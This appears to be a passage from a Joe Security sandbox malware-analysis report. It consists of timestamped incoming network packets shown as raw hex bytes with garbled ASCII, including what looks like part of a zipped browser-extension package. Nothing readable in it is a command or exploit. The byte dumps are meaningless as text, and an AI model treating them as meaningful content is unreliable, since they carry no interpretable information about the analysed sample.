2022-01-13 21:05:25 UTC 1075 IN Data Raw: 07 ff 06 d8 4d a0 d9 76 7f e7 37 21 61 c3 f6 a6 81 e3 3a 81 15 70 67 29 46 e9 23 ce d2 ac 39 ab 63 9b d4 86 
7e 00 35 b5 2c ec 55 59 e1 32 de 8a 3d c9 15 f0 0c f2 c6 c7 87 e9 c2 92 41 60 1d 4a cc 00 1a ab fa 61 9b 02 ee 02 60 b5 
07 9b 02 ae 5d 8d 8f 7e 7c 59 97 55 4c fe 90 94 15 93 67 91 48 0d f0 16 2b ff f0 a9 d1 c6 ad 61 18 34 30 79 0a 9a 2a 90 
de 6d d2 06 dd 97 31 59 c6 cf 49 46 58 b5 02 3c 92 92 6b a7 cc ab a4 c5 38 f8 11 19 65 2b ee cc 27 ce 8a 18 61 29 f8 40 
0c 1b 11 81 94 a4 14 cf 14 f2 51 09 ed 12 78 8f 89 cc 95 8c 55 08 85 92 9f 62 55 e3 6a ae 17 3c 26 12 63 7b 40 04 12 6f 
e3 22 6b 76 dc f8 fe 98 6c 81 14 32 2c 56 31 79 61 c5 e3 ba 58 ed 7e 47 b0 48 5c e1 9f 24 c5 8e eb 73 20 83 13 be 03 99 
b7 2b 92 c6 79 2c ad 47 84 5d 9d c7 e7 a4 24 0d 33 c9 24 
Data Ascii: Mv7!a:pg)F#9c~5,UY2=A`Ja`]~|YULgH+a40y*m1YIFX<k8e+'a)@QxUbUj<&c{@o"kvl2,V1yaX~GH\$s +y,G]$3$

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2022 Page 65 of 171



2022-01-13 21:05:25 UTC 1076 IN Data Raw: ea 62 bb 11 02 36 9f 32 9b b6 03 56 83 b8 71 d4 31 47 1b b2 f7 19 64 3d 20 bc 47 c7 08 a6 f4 84 df e4 bf f5 84 
48 dd fc 6f 37 20 72 1d df 09 50 1c 5d 03 55 08 79 8c 62 a4 34 d3 92 f6 88 76 d7 75 0d 74 dc 7e 00 16 63 82 80 52 8d 6b 
04 2b 78 ad e9 52 d2 c4 b3 1b a0 96 7a 96 15 a0 ac 22 a2 fc 80 2a 2e 9a 6f 1b e4 fc 44 c2 6d 03 a2 d5 5e 7a 28 19 0e 26 
be 6d 18 18 ab 52 10 2d 12 7e d1 5f 08 e8 aa 03 72 97 d7 23 7c 13 54 b9 35 23 7a 86 75 e3 72 d7 57 21 44 b2 4d dd 08 
70 0a d0 0e 27 94 ca e6 21 d4 3b 10 e1 9a f8 72 6c 68 d5 9d 15 ab c9 3c 7a 9c 06 af 1f e2 ba 19 d4 b5 3a 9c 8d d4 a4 1f 
5d 85 64 8e a8 50 9e 0b fa cc f9 3e 6a 2f 08 b5 52 0f 22 2e b1 6c d2 3a 93 0e f3 0c 84 14 12 8a 02 0a e0 31 0a 87 2b cc 
aa d5 ad f3 c9 db b6 e1 db ef b5 61 82 d7 ae 60 a6 34 dd 
Data Ascii: b62Vq1Gd= GHo7 rP]Uyb4vut~cRk+xRz"*.oDm^z(&mR-~_r#|T5#zurW!DMp'!;rlh<z:]dP>j/R".l:1+a`4

2022-01-13 21:05:25 UTC 1078 IN Data Raw: b7 82 f9 70 00 aa 70 7d 3d b8 18 68 6c a2 bb 8d d3 e9 ea 0f a6 bd 70 d2 e7 9e 3a 1f 4c 6e 42 5d 2a ea 2e 7c 
75 ba ce 07 c3 a8 2e 2f 0b 64 f6 50 03 3e ba 41 99 4e 51 ad a3 03 e4 35 9d b1 4e c5 30 54 e9 97 fa f6 97 4e 72 74 a5 96 
78 f5 9d 19 9d e4 24 e2 05 56 73 6e dd bd a6 4e 41 87 b8 ee 8d a6 2e f1 3a d5 94 5a aa 61 e7 9d 0a 74 f8 a0 bb b1 e8 54 
30 9d 23 53 d5 6a a8 eb b9 74 3a 6a 3e 74 36 bf 58 8c 26 8b 88 13 1b 35 1c d5 17 04 3a 15 f1 f8 1e dd 46 2a 11 d6 bc 0c 
dd a9 e4 3c 0a 67 73 60 15 27 7c 91 a6 ea aa 37 cb 9d aa 00 15 6a 50 eb 5e 14 eb d4 00 e2 fa 17 54 1f e4 69 17 78 e9 de 
d7 d3 a9 13 f8 f5 4e 5d d5 dc 4f 76 eb 39 9f 44 d1 2f 2a 98 e9 5e 98 ef 56 a2 2b ce 9a 77 16 df 51 30 81 af d4 83 a8 77 a4 
dd 2a fe 12 4d ae 54 42 a0 99 6c 75 ab e8 40 08 dd eb 
Data Ascii: pp}=hlp:LnB]*.|u./dP>ANQ5N0TNrtx$VsnNA.:ZatT0#Sjt:j>t6X&5:F*<gs`'|7jP^TixN]Ov9D/*^V+wQ0w*MTBlu@

2022-01-13 21:05:25 UTC 1079 IN Data Raw: c0 aa 59 67 15 f8 cf e0 b4 12 ae 90 ac f6 c8 0d 58 8e f5 c9 16 1d 72 01 b9 ad a8 c0 d8 c3 45 21 7c b1 b5 7c b0 
ec 93 0f f1 57 45 fe 32 e7 67 f9 8b b9 fa 0d 89 6f 83 d4 22 58 e1 bd 32 41 49 c9 7a 95 68 d3 e7 88 5a d8 9a 2b c2 0e 1f a1 
07 53 38 01 86 0c 4c a3 f3 22 68 b3 ce 67 21 1e e1 f8 4b a9 00 30 44 00 d7 6d 0b a5 00 0a 89 bf fe 3c 06 32 f7 f7 fa 40 e7 
c9 78 f7 f3 a7 2f d7 f3 4f bb 57 17 17 37 8b db 17 b2 f3 ab f8 13 d9 b6 88 66 e7 d5 fc f2 fd d5 97 db 9b bb 5f 65 73 19 1b 
53 74 c6 24 f4 9a 63 63 e7 56 8f 0d 26 a7 85 0a 08 0e 47 07 dd 41 ff df e5 e8 ee ee 57 f5 57 6f d1 41 32 7f 1f e9 c9 bb ab 
cb c5 0f d9 f9 ef 77 17 8b 3f 7e d0 ce bf cf 2f ff f7 07 6d 7d 75 fb 61 71 fd 83 f6 be 6b 94 c5 18 88 8a 84 04 53 a2 20 7e 28 
04 1f 74 63 63 2a 97 d6 af f6 e9 10 
Data Ascii: YgXrE!||WE2go"X2AIzhZ+S8L"hg!K0Dm<2@x/OW7f_esSt$ccV&GAWWoA2w?~/m}uaqkS ~(tcc*

2022-01-13 21:05:25 UTC 1080 IN Data Raw: 56 a8 aa 03 ee 81 91 45 70 42 98 62 c3 c2 47 db 20 7b b0 8e b7 c2 c1 48 99 82 17 c1 16 aa 59 5e 66 c4 c6 c8 
5d 54 23 31 28 10 b0 08 6e 13 39 73 28 e0 e2 13 13 e6 51 87 8c eb 01 38 b8 a4 e5 e9 47 47 57 31 5e ac 4a 28 d1 1c 33 
01 1c b6 74 c8 d4 e6 67 2a d2 04 8a 66 a5 d8 32 79 2c ac 98 36 db e6 a6 da 7d 85 37 4a 6b 04 8c 78 d1 6f 98 e0 60 7d cb
9f 82 a0 e9 5a 43 8d 80 12 65 da f9 35 62 39 17 f0 ec 31 fd ff 35 0d fe b6 bf cb 28 e8 fa fe fd 96 2d fb db eb ab 2f a7 9f 16 
37 1f ae ae 6e 9b d6 bd 55 a0 9d b1 c1 6b 75 a1 21 10 57 de 39 08 81 83 b0 92 f7 05 b4 88 8d b2 b9 c8 64 85 04 36 1a 1f 
ed ac ad c6 55 6c 08 b2 2a ba f2 4d 87 87 0c 59 db 74 7a d5 8b 50 bd 05 03 a3 7d b0 85 0e ca 16 99 5a 6e 8d 95 9c a7 de 
7c 65 78 64 db b9 a6 36 f4 61 52 ed c5 ea 0a 2c ef 6d 
Data Ascii: VEpBbG {HY^f]T#1(n9s(Q8GGW1^J(3tg*f2y,6}7Jkxo`}ZCe5b915(-/7nUku!W9d6Ul*MYtzP}Zn|exd6aR,m

2022-01-13 21:05:25 UTC 1081 IN Data Raw: b0 21 7e 9c c1 65 87 2d 71 62 84 43 eb a4 14 83 6c cb 43 dd a0 d8 22 5d f1 11 75 6d 36 d9 7c d9 34 f2 56 5a 
69 3c e4 cd 5a 43 7e ed 40 33 d7 88 39 f3 7c 57 84 a2 85 97 36 68 11 94 57 1a 4c 31 ff c0 fa 46 e6 83 06 bf f8 b5 05 1e a4 
2e 80 df 2c a4 b4 42 54 d6 63 dd a3 fa 0d 51 3d b5 77 4e 14 d5 00 8d 00 c1 85 1f 5d 18 5e 84 cc aa de e2 28 b1 cd 98 b9 
08 7e f3 49 7c 3a b5 be 66 a4 a5 46 3e 54 45 6b 50 3a 19 3c 1c 20 78 5f ac 1b ff f9 d6 63 35 0d 0a 52 89 00 2e b7 a8 e2 
17 5b 3d f9 c3 3f e6 4b 67 6d b3 55 5d 2c f3 cc 50 60 b4 e2 b4 c2 9d 4c b2 a2 01 ae 24 e9 7f e8 05 23 9d 93 e3 c1 2e 63 
b7 11 e3 e3 b8 d4 53 44 42 0c 2e a9 32 ed e2 d8 92 98 72 8d a5 07 3b cb b8 3a db 82 a3 a8 69 b2 03 2a 30 a5 59 2e 86 
67 d1 f7 b8 aa 40 df 1c d3 d6 da 37 39 75 b3 4d 67 d0 1d 
Data Ascii: !~e-qbClC"]um6|4VZi<ZC~@39|W6hWL1F.,BTcQ=wN]^(~I|:fF>TEkP:< x_c5R.[=?KgmU],P`L$#.cSDB.2r
;:i*0Y.g@79uMg

2022-01-13 21:05:25 UTC 1083 IN Data Raw: 02 00 00 00 00 00 00 00 50 4b 03 04 14 00 08 08 08 00 29 8c 04 51 00 00 00 00 00 00 00 00 00 00 00 00 19 00 
00 00 5f 6c 6f 63 61 6c 65 73 2f 76 69 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e bd 5b 6d 73 db b8 11 fe 2b ac 9b 0f 77 1d 
c7 06 08 be 21 ed f5 46 91 68 5b b5 2d b9 12 e5 4c 3a 99 d1 e8 cd 96 26 96 e4 ea e5 7a 6e c6 ff bd 0f 08 80 a4 b5 a0 ee 
ae d3 de 97 84 96 b8 8b c5 be 3e bb 80 be 9d 70 c6 13 99 04 61 c4 83 24 09 7d 16 f2 f8 e4 83 f7 ed 64 39 db 6e 47 8f 33 
3c 9f b4 be ec f9 6c 36 5e 3d 7a f3 2f 7b c6 66 93 d5 fc e4 f5 d4 3b e1 3e 17 32 8c 65 e2 c7 be 48 e2 50 fa ec 90 34 db 80 
82 8f 99 e2 30 9d 6a 0e e0 25 9e bd 55 ce 8a ad bd ed 68 ef a9 97 38 cf 3f f1 5f bc a5 7a 78 08 bc 9d 7a 77 24 2a df 3e 8c 
c0 62 95 f3 18 85 3b f5 22 1e 38 3e 9b e4 6c e3 
Data Ascii: PK)Q_locales/vi/messages.json[ms+w!Fh[-L:&zn>pa$}d9nG3<l6^=z/{f;>2eHP40j%Uh8?_zxzw$*>b;"8>l

2022-01-13 21:05:25 UTC 1084 IN Data Raw: 35 a7 3b cd e2 61 6a 54 32 92 2b 23 8e c6 39 c0 1b 66 0d c8 f3 54 ec d2 80 ae 09 75 2c 6f 9b 2f 35 2d c1 6d 
11 9b 93 d2 cf 75 7a 54 78 a3 48 2f 4b 6d 91 85 41 7f 1a 08 2e 56 36 86 cb 05 0a db 79 e3 d1 5a b3 9c 8a a5 97 ff ff 90 fb 
7e 2e e3 99 77 47 82 c9 82 f3 17 a7 74 5b 83 28 4b 08 54 1a 06 30 ab 56 41 13 13 22 9a c1 03 d7 4a 99 f2 42 d9 8f 0b 8d 
f1 9f f5 37 23 08 b2 33 16 59 b9 cc 7d e6 dd d6 28 c3 2c 65 21 9f ef 50 8f d5 f1 a9 da 87 52 b2 06 cd 78 25 d7 cc 43 a8 ff 
87 0b a2 69 19 bd e4 09 1c 94 e3 3d 98 5a fb 9e 56 77 ce f7 4e 6d 19 47 5f 6b 0b c2 d1 51 35 d6 b9 92 cc 76 b6 46 2d f3 
f2 d5 a5 75 ba c2 6d f4 fb 79 fb a3 83 33 58 9c 79 39 d4 1d 73 5b 46 73 1e 47 52 64 61 d5 d3 52 0b a5 fc 53 a1 0d a9 7c 
7c 53 30 36 e0 96 60 69 ea 03 8e f5 a8 4b ee 6d ab 
Data Ascii: 5;ajT2+#9fTu,o/5-muzTxH/KmA.V6yZ~.wGt[(KT0VA"JB7#3Y}(,e!PRx%Ci=ZVwNmG_kQ5vF-umy3Xy9s[FsG
RdaRS||S06`iKm

2022-01-13 21:05:25 UTC 1085 IN Data Raw: 97 ca 13 ad 9d 96 6b 54 f4 df f9 99 e1 a2 ec 01 0e a5 35 d5 d0 84 af 04 a6 47 8f a6 fa 55 d4 33 74 6d 47 e6 8f 
36 b7 3f e8 f0 8d 39 dc 19 f1 cf 50 86 e1 24 0c ce 46 bd 6b ed 44 c7 e3 03 6b 16 a9 ca 54 bf 0a 56 f8 59 ef ee c5 43 9f 55 
e0 d7 0a 0a 3f b3 b2 24 91 6a ae 14 38 e3 e8 29 c8 36 8a 3a 59 45 af bf 5c 33 2b 47 7c bf a5 7a fe 7f 90 2e dd e5 af 04 ba 
36 21 c0 d6 02 75 37 66 71 ac 06 c8 78 a0 27 f8 36 57 17 3d 8f 2e b3 71 ac e0 75 c8 e1 27 01 0f 50 b8 eb 86 e2 d5 73 9e 
8a 6b cf 62 72 26 92 b7 15 8f 8b 91 2d 65 6f 27 44 d3 fd 8b 9d 5a da 11 c9 88 57 df 99 4a 0b c5 e2 c4 07 3e 11 3c f2 51 
48 03 1e c5 14 26 b9 71 6f 0d da 2d 41 6e 19 c9 08 73 00 82 ef 34 93 82 e2 83 e7 9f 06 97 57 ff 2e 98 87 f8 e3 7b 23 54 
1c c5 7e e0 03 bf 01 af 0a 24 7e d2 e4 76 88 fb 
Data Ascii: kT5GU3tmG6?9P$FkDkTVYCU?$j8)6:YE\3+G|z.6!u7fqx'6W=.qu'Pskbr&-eo'DZWJ><QH&qo-Ans4W.{#T~$~v

2022-01-13 21:05:25 UTC 1086 IN Data Raw: d8 e9 fa 75 24 af 3a 0e cf eb f9 5c f4 d2 f4 1f b4 98 b9 7e d1 54 cf c4 95 9c 1d 97 b1 8f 30 e8 c1 56 74 23 f4 e4 
be 9e c5 df d2 de 35 05 04 8e 29 5a 3d 8b 9a 0a e1 ba 59 73 84 89 a3 42 b8 8e 53 eb 39 68 68 42 cb 2e fd b5 d1 11 1e 
19 f0 26 75 59 d7 59 71 3d 93 41 e7 53 23 6b 5e b9 9c cc 75 96 e5 62 f4 b9 3b 40 87 de e9 7f 72 84 8f e3 96 79 85 c5 55 
a3 73 09 e8 32 6c 77 1a 08 9b 7b 22 81 6b 76 ee 24 bf 47 b4 51 e8 e4 b8 d6 e6 a0 36 1d 00 6d 15 e9 29 b3 83 3a 6b 67 
37 e9 90 04 86 e3 27 1a 15 62 dd 16 a2 65 31 80 a1 d9 b8 53 59 8c ec c0 71 6d a3 e0 02 88 4a d4 e5 38 a5 b0 ef df 35 06 
7d 42 e0 ba 7f 5f 10 dc 34 68 fa 72 fc 6a c1 be df 4f 53 52 9e 5d c3 42 fb fe a0 e3 da 82 6b 38 6f 29 ee bb 37 83 5b 42 e1 
fa a5 dc eb eb 7f 00 50 4b 07 08 99 e0 54 92 fd 0f 00 
Data Ascii: u$:\~T0Vt#5)Z=YsBS9hhB.&uYYq=AS#k^ub;@ryUs2lw{"kv$GQ6m):kg7'be1SYqmJ85}B_4hrjOSR]Bk8o)7[
BPKT

2022-01-13 21:05:25 UTC 1088 IN Data Raw: 01 7c db a7 0b 01 74 f4 85 0b a8 58 05 d0 38 30 8b d1 15 42 c4 c2 46 51 46 21 ae bc b5 12 0b 2a 84 12 90 e4 
64 d6 56 25 78 ef 8a 2c 42 ac 88 e6 a6 70 0b 1e bf 03 d3 6c ab 51 05 04 9a f3 40 6a 51 c0 3e 7a b0 6c a4 da 6f 2c 15 4f 
b7 36 3a c9 2b 94 6a 49 ea 5c c0 fd c0 ee e2 19 48 92 8c 46 3a c9 02 fb 47 f5 0d e4 4d c6 4e 28 9a b0 b6 11 66 93 64 8c 
96 42 e3 2d e0 09 42 29 ac 98 79 4f 4a a8 9d 85 e9 29 c4 95 c7 5f d2 c2 c0 21 a8 5c a6 e5 3b eb 50 45 19 2d 50 a2 03 48 
84 83 a9 c1 23 2c e7 43 67 14 c5 c0 da 10 9b 12 55 4d 6f 6e 6c c7 9a 8c d3 22 92 09 1f 2d 0f ae 65 bc 5d c7 5f 42 02 cf ee 
4d 64 b8 a2 10 41 12 4c 48 8e 18 04 6b 35 69 f7 b6 f3 42 f2 2b 76 5a 75 11 99 de 61 65 4d 6f 52 82 56 a6 e5 ba f3 97 95 
b4 1a 60 11 ee ea a6 26 e2 24 52 6a 14 76 47 79 9a 2d 
Data Ascii: |tX80BFQF!*dV%x,BplQ@jQ>zlo,O6:+jI\HF:GMN(fdB-B)yOJ)_!\;PE-PH#,CgUMonl"-e]_BMdALHk5iB+vZ
uaeMoRV`&$RjvGy-
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kBytes
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2022-01-13 21:05:25 UTC 1089 IN Data Raw: 9c a2 02 a4 7a 4d ae 72 d1 ef 14 dc d0 5e ed 98 de cb 2c 16 8f ae f7 96 e3 2d 4d 9b 51 c4 3c 4d 67 ad ca 52 fd 
cf 11 7c 4d ea de 92 90 a6 e9 bc d4 06 ec 0b a1 65 b8 39 50 8b ef b1 fa a6 74 42 22 91 c9 9a 40 e6 2f 22 67 1d 2c 68 7f 
f4 5c 2d df d1 1f 37 56 b3 c6 03 88 c1 79 0a 00 20 b0 01 38 c8 44 e0 86 68 7a 4a 49 df 6c 12 e0 5b 5b 68 60 4a 00 e9 92 
60 d5 82 71 de 21 39 a4 72 4b 53 eb 24 1f 80 f1 4e a9 00 b8 47 5c 7a f4 90 9c 23 6d a4 7d ba 8a a5 02 2c 9c fa c3 9a ce 
1f 00 90 22 02 96 39 20 4a db 46 46 76 b7 0b e2 c4 29 fa 07 31 7d 5c 69 2b 7c 44 87 a4 41 37 45 75 d0 c4 f7 90 2d 75 05 
fd a9 ac 35 ba e9 c8 52 bf f7 1b 62 ba a9 77 4d 9d 67 db cb 1d f4 63 07 1d 5d 24 57 ba 8e 35 e7 40 7f 6b 4a d0 1d b4 00 
d4 d7 00 eb d1 14 0c 8e 65 0e 06 2d ae 40 bc 21 0d 05 
Data Ascii: zMr^,-MQ<MgR|Me9PtB"@/"g,h\-7Vy 8DhzJIl[[h`J`q!9rKS$NG\z#m},"9 JFFv)1}\i+|DA7Eu-u5RbwMgc
]$W5@kJe-@!

2022-01-13 21:05:25 UTC 1090 IN Data Raw: 55 ce cf b0 ab 6c 3b cc c7 9f 2f 28 99 cd b2 0a c6 b0 fb 61 05 d7 d3 09 a8 c2 c5 c5 e4 7c c2 d8 84 3b a7 e4 74 
9d 4e 16 27 e3 f9 29 79 ea 6c 32 bf 1c 73 a9 c8 9d 97 73 ba ce 26 d3 32 c2 cb 0a 99 3d 65 8a 0f 37 8b e3 14 45 1d 03 45 
9e e9 9f 39 15 d3 71 4e bf f2 af f4 38 c9 d9 db 1c e2 f3 4f 8b 38 c9 79 49 00 cb ec 9b 3b f4 e5 14 0c 88 73 1f 82 0d 89 c7 
54 cb b0 94 e1 e8 83 0a b8 fa c0 9d ae 0c 2a 58 5c 23 53 73 34 e4 fa 2d 4e 47 e4 43 af af cf 57 b3 f9 aa 24 62 93 87 63 fe 
81 c5 a0 22 8a ef d9 4d 99 13 61 e6 0b f6 41 25 67 e5 78 79 8d 5a 45 84 af 64 50 37 3f 63 1f 54 85 52 91 07 35 f7 5d dd 
a0 06 10 d7 bf 01 7d 90 a7 43 c5 8b fb f2 91 53 97 ea d7 0b b8 ca 9c d2 0e eb 39 9b 97 e5 3f f2 62 c6 fd 8f 87 61 25 1c 38 
33 5f 80 be a0 60 0e 5f e5 1b c9 0f 8d 87 55 
Data Ascii: Ul;/(a|;tN')yl2ss&2=e7EE9qN8O8yI;sT*X\#Ss4-NGCW$bc"MaA%gxyZEdP7?cTR5]}CS9?ba%83_`_U

2022-01-13 21:05:25 UTC 1092 IN Data Raw: 76 3b fa 9b f0 7f e8 2b ed b9 64 5e 33 e7 84 f2 82 f3 4c c5 d1 92 3c 63 36 c8 c3 28 e3 15 2a 2f f2 19 95 c0 3a 
e6 a5 1a ca cf 58 88 8d 50 48 29 53 ea 2d 79 d9 37 a1 06 b2 90 58 54 49 cb 90 76 ac 2a 43 7d aa bb 44 44 c5 b0 a3 7f c7 
2f 0d 55 21 5f 6e 54 ff 97 ae de 69 b9 a5 f7 30 23 9f 06 f1 4d fc 61 44 16 28 33 3a ac 01 d6 34 0d e5 b6 da 04 55 b1 38 06 
85 62 4b e5 7d ab c8 1c 2b 0e cd a4 a2 d9 15 56 2a ef 9d 43 0e 43 e8 f0 f9 e8 28 e1 e1 26 e6 81 0a da 08 01 47 25 d8 f6 
f5 0a f1 31 3d 9d 22 40 56 cb 9f be 7c 7a b8 2d 3f fd 74 b3 dd de 35 f7 bf f0 d1 af ec eb cb f2 f3 fb 9b 87 fb bb 6f bf f2 af 78 
01 e2 63 f4 75 be 38 1f cf a6 7f 2f 16 df 46 64 91 0c 70 a4 ea d1 fe 59 91 7f 56 2b 17 5c d6 90 f5 9e 9b 11 27 3f 35 e4 f9 9c
9a 9b fb 0f cd ed 0f 6a fa d3 a3 9a 
Data Ascii: v;+d^3L<c6(*/:XPH)S-y7XTIv*C}DD/U!_nTi0#MaD(3:4U8bK}+V*CC(&G%1="@V|z-?t5oxcu8/FdpYV+\'?5j

2022-01-13 21:05:25 UTC 1093 IN Data Raw: 78 ae 48 f6 46 39 46 06 c0 02 84 b5 f2 56 6b 9a 22 81 87 70 22 62 59 0e ed 89 56 00 7c 24 1a 87 97 93 51 68 
19 5d 37 7b dc 31 7e 2d 41 9d 61 8f 03 8b 06 7d 04 e3 4c 42 f4 ea b4 6d 70 0e c7 3d 7d 5c 8b a1 11 d1 2f 10 b5 37 1f 7f 
3e fb 38 ea cf 1c e3 db 94 62 0c b6 83 fe 63 dd 16 dd 43 a6 e5 39 84 a0 3d 48 6a 45 d3 a7 58 82 bc d3 4d 0e 36 77 40 a4 
15 de 05 42 86 ff 22 da c1 59 33 2f 6a 31 2d 30 97 fd fc 32 d7 04 f7 09 65 9c ce b5 53 cb 7e c2 1c b1 a4 d6 0c a3 99 54 b0 
93 be a2 4f 83 98 db d7 d5 56 03 6e 08 99 aa ca 3f ef 3c 49 14 bd 1b 0e c4 c9 6f 6f c5 e8 17 c0 cf 51 3e c1 cf d1 ce f8 cc 
e4 b8 5f 3a 35 a3 08 e9 a0 b7 a3 a8 44 d9 f6 a5 ef 69 54 6d 3c 7c 28 bd 85 53 1d 43 53 23 32 15 3e 1f b0 08 be b3 cb a8 
c4 02 ca b0 21 c4 3b e0 08 ac 36 e7 8a e8 7a 13 c0 
Data Ascii: xHF9FVk"p"bYV|$Qh]7{1~-Aa}LBmp=}\/7>8bcC9=HjEXM6w@B"Y3/j1-02eS~TOVn?<IooQ>_:5DiTm<|(SCS#
2>!;6z

2022-01-13 21:05:25 UTC 1094 IN Data Raw: 36 7a c3 2a 16 c5 df ae a7 8b 22 71 4d ae c7 1c d6 b2 7a 7b 55 3c b2 dd e9 e0 28 51 75 39 5d 2c e6 8b e9 ec 
bc 8b dd f5 f2 fa 05 f9 08 5f 25 61 9c 01 e6 44 e1 ac 58 bd 99 2f 5e 21 8e ce ce 8a 05 85 e3 9b e9 d9 34 f1 77 86 a3 0d aa 
1a 5a 60 ee de df a0 92 e5 f8 b2 c8 9a 92 9b e6 0d 6a 79 43 7b b6 be 3a 4d 5c 93 22 68 aa 63 7e 2c 95 3b e1 4e c4 ae 16 
d3 d7 e3 d3 b7 eb c9 78 35 5e 5f 2f c7 e7 45 26 9d 92 53 e6 44 cd 92 68 4d be b8 e4 e0 26 2f 7f 31 3f 4f ca 63 a6 61 ca 08 
af ae af d6 af a7 cb e9 8b 69 08 b2 c1 2d cd dc db 4b b5 cd cf 56 6f c6 8b e1 c8 cf e1 5f a2 e5 7a f6 6a 36 7f 93 c8 e6 9a 
d4 44 f6 f5 74 52 0c 57 fb 0c 2b 19 d0 b0 bc 9c cf 57 2f 67 c5 32 f1 6a ee 32 68 a2 e4 6d 91 82 55 e6 36 4a 90 5b 9e af cf 
50 90 11 bd ab 39 b0 66 99 94 af dc 31 5d 27 
Data Ascii: 6z*"qMz{U<(Qu9],_%aDX/^!4wZ`jyC{:M\"hc~,;Nx5^_/E&SDhM&/1?Ocai-KVo_zj6DtRW+W/g2j2hmU6J[P9f1]'

2022-01-13 21:05:25 UTC 1095 IN Data Raw: 3a 8b e9 25 ed 5f 91 bb 5e 67 96 5d 8f a3 24 73 f7 b6 3e df 5f 7d 9e 7f be ec 7d f7 64 4f d0 60 fd 96 b3 2c d2 ac
3f 2c b2 d4 ae 6d bd f5 9d 39 37 e3 6c 97 9f 7f be bc 78 dd 91 af 87 fd 3b 37 f3 fc 2c 48 db 61 42 bf d6 6a 13 4e b1 86 6e 
ea ad cb 3d ba 8e 14 f4 14 cb f1 38 0c a3 87 87 24 06 1c c9 1a db 07 01 7d fa 99 5e 3c 3c 9c f3 df db 9d 9d 68 6b 58 cc 17
51 91 a0 df 5b 5d 72 3f 90 fb ea c8 45 75 86 c5 d6 05 03 13 c3 45 a4 d7 ba 04 97 18 80 b9 7f 18 c6 f4 0f 2d 32 35 ba 45 
bd 57 1a 3f 9a cd a2 3b ea d4 5e 4c 3d e1 a8 33 5c 64 13 cf 9a 89 1b 89 58 a4 12 be 12 8c 3b f2 e8 cf 11 66 83 cd cf b9 
07 cf b9 9e 4d 17 53 34 42 8b 17 e6 3b 3b 7a c0 ea a9 88 26 fa 4b d4 19 44 f3 8b 55 f1 66 36 bd ce 08 59 b8 39 0d 39 ee 
10 b0 8d dd 54 44 57 79 4f e4 22 52 07 c4 ac 
Data Ascii: :%_^g]$s>_}}dO`,?,m97lx;7,HaBjNn=8$}^<<hkXQ[]r?EuE-25EW?;^L=3\dX;fMS4B;;z&KDUf6Y99TDWyO"R

2022-01-13 21:05:25 UTC 1097 IN Data Raw: 83 4e bc ec f7 b3 99 27 5a f4 f3 6e 41 3c 58 7f 9e 2d 84 c1 64 35 d2 c1 4d 1e 73 15 6a 18 f0 43 47 1b 27 5b 23 
23 74 62 15 72 65 ab 2f 55 63 2e 3e 97 b3 26 04 41 5c 73 b6 a8 bf a6 3d 2b 81 56 c3 a6 ec c7 dd af 0f e9 58 22 e9 8d 35 
78 cd 94 77 e3 b5 e4 4f 36 5e 4b b2 fb f8 52 45 16 8b 5a 1b 80 a6 53 ba 72 6c f3 ad 34 ec e9 72 96 64 22 b2 c5 f0 09 88 
8e bb 77 f5 eb 1e e4 6f 8f 50 2a b1 6d 9d 71 34 5f 9c e3 dc 01 5f e9 df 22 ae cf 77 3c 8d bf 35 d2 ab a8 27 ee 81 8d 7c ea 
92 fe 59 7b 6b 29 91 96 ec 72 79 e0 ab 2c f4 ba 25 51 e7 55 4f 0c e8 0f 1d e1 28 21 c9 bd 9b 42 27 83 13 2f 71 06 51 be 
18 02 72 23 50 58 d4 3a ae 62 85 45 e4 30 32 89 a8 48 5c f9 32 a4 0f 3f 53 f1 ae 16 49 c2 7d ff 9a 68 85 e1 44 23 10 02 
c7 60 34 b0 83 44 bd 35 aa bb 4a 7a eb 06 6c 11 97 
Data Ascii: N'ZnA<X-d5MsjCG'[##tbre/Uc.>&A\s=+VX"5xwO6^KREZSrl4rd"woP*mq4__"w<5'|Y{k)ry,%QUO(!B'/qQr
#PX:bE02H\2?SI}hD#`4D5Jzl

2022-01-13 21:05:25 UTC 1098 IN Data Raw: 52 00 cc 9a b1 59 44 5a 37 e1 7c fe ec c3 be d8 73 3c d9 65 46 5d 66 4d 5d b6 d0 e4 49 d6 75 b3 8e 34 fc 3e 
1b 86 4a 57 4a 0b 9e 0a 47 be dd 4d 89 6f 17 a0 fe 49 97 ce 1a 31 19 82 16 d0 7f c6 d2 08 c9 64 1d b6 9e ba 8e 31 61 fb 
5b e9 70 1e c5 63 3a f1 5b d1 72 31 25 ac 39 4c b6 e2 e9 74 41 0d 46 d7 9d ad 43 69 14 ff 69 8b cd 65 c9 74 4c 6c 4a 3a 
24 5c 96 cd b7 88 5a 65 b7 8b ac 98 d3 32 88 2d 4d 9d 3b 30 c3 62 65 3a 83 59 d6 a7 d7 54 b2 98 2e b6 18 21 77 1c 9b 
1a c4 a9 26 32 cf 09 bd 12 01 4e 69 ef a0 a6 78 e3 de eb 69 12 0f ba d6 18 2a 09 2d c6 45 12 11 e6 e1 09 d3 fd 2e d7 d8 
33 c8 91 08 03 1d ee 92 69 e8 3a fa 97 e3 33 15 0a 4a 71 27 c6 6c af 53 47 24 25 8c 1f ee d1 a9 1d 2f 2a 70 ff 13 de e5 
78 e7 05 eb 18 02 09 21 aa b8 b3 2c e6 83 61 7f e1 5e 39 4f 
Data Ascii: RYDZ7|s<eF]fM]Iu4>JWJGMoI1d1a[pc:[r1%9LtAFCiietLlJ:$\Ze2-M;0be:YT.!w&2Nixi*-E.3i:3Jq'lSG$%/*px!,a^
9O

2022-01-13 21:05:25 UTC 1099 IN Data Raw: 9a c5 6c 3a 1e ab a2 e5 63 73 f1 94 16 98 36 ed 26 53 a5 6b 2c a7 63 be 73 d3 4a f0 7c a4 ac f9 2e 87 41 c0 
e2 1f 0b 82 92 0a 60 9c 1a bb 80 bd e9 eb 60 b0 b3 73 ec 0e 2c 88 86 aa a0 3c 44 b3 92 ee 49 75 bb 66 c1 35 11 21 e9 
52 58 9e 74 10 34 a5 79 3d ed 85 90 32 8d 45 f9 b9 36 28 a7 ac 4a 46 33 f7 6b 61 29 a8 d3 52 53 49 07 bd fa ea c0 2b 5b 
34 08 a5 42 4b 5e d8 22 29 94 19 51 22 85 4a 66 a8 88 cf 86 3e 11 08 89 0a 99 d9 6e 28 1c 5b 36 93 8d c9 2a 4d ab 74 
